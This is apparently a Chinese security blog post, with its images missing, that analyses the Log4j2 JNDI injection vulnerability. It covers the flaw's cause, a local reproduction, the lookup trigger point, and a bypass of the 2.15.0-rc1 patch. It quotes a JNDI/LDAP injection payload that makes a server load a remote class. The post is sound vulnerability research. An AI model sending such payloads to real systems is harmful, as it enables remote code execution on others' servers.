01 前言
Log4j2漏洞总的来说就是：因为Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容（如：恶意内容${jndi:ldap://localhost:9999/Test}恶意内容），该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行（可执行任意后台指令），从而达到攻击的目的。
02 漏洞复现
这里我一共使用了两个jdk版本
8u202的情况比较特
研究了两者的不同，发现唯一不同的就是我司这个idea启的project带有springboot的库。 然后看了一篇文章
明白了其中的原因
还可以参考以往的jndi注入
为了方便本地测试，就把jdk版本降下来了
首先拉一个maven项目，把dependency搞上去
然后直接搞上一个poc
复现很简单 ，触发没有难度，就是个jndi注入
撸一发各家的情报
安恒这个，我猜测和我遇到了一样的问题，所以没从本地复现，我猜测是这样，不一定对。
360，用的是挂恶意类的方法来做复现，弹个计算器，我也来弹一个吧。
他这里是用的System.setProperty来做的 ，用的是rmi，和网上通用的ldap的poc不同，也是去请求一个外链，协议不同而已，不过通常情况下rmi限制更多。
详细用法可以参考fastjson的利用
03 原理
漏洞的最终的触发点在lookup上，然后用lookup去发请求。
然后jndiName是用户可控的，也就是在log中的记录。
因此导致了漏洞产生
04 补丁绕过
这里的绕过指的是绕过
log4j-2.15.0-rc1
这个版本
首先看一看新版和老版的对比
点进去看一下
这里对scheme和host做了白名单校验，如果不在这里面就走return null这段逻辑。
但是，这个白名单都是需要自己配置的，默认是空。 那么意思就是说，如果自己不去配置，那就莫得法来绕过，因为是白名单。
再看看怎么修复lookup的
这里把原来的直接formats解析做了限制，还写了一个withoutLookupOptions方法
跟一下这个方法看看
曰死，我们着重看一下这段。
这个判断很有意思，在老版本，这个lookup是默认开启的，那么!过去就是默认不开启，于是注入payload是能够走的通的。
现在新版本lookups是默认不开启的，如果想要开启，需要自己手动去配置。
看，像上面这些configuration和options都是需要手动进行配置的。
也就是说，这个版本基本没啥问题了，那为啥还能绕过呢。
继续比对最新版本和可以被绕过的版本
然后看看log4j家的开发，这个叫做rgoers的小伙子是怎么修复这个漏洞的
进入代码查看
这里是catch一个异常，从字面意思理解就是url的语法异常，原本catch后面是木有写东西的，但是现在加上了两行语句，然后return了null
什么意思呢？
意思就是先利用url语法错误报错然后把条错误语句注入到log里，然后payload解析，然后导致漏洞发生。
原先因为没有加上return null这个语句，所以语句不会被return，然后会接着走下面的代码逻辑，就中套了。
但是现在return之后，就直接跳出去了，就莫得事情了。
但是绕过归绕过，虽然这里绕过了，但是配置那块，指定是绕不过的，除非自己配置就有问题，那就怪不得别人。
根据官方文档来看，log4j2有多种配置文件的方法，并且到了2.15.0-rc1版本，默认配置就是安全的，因为默认没有配置文件，需要自己去创建，因此默认配 置为空，如果自己配置的时候不乱来，就可以了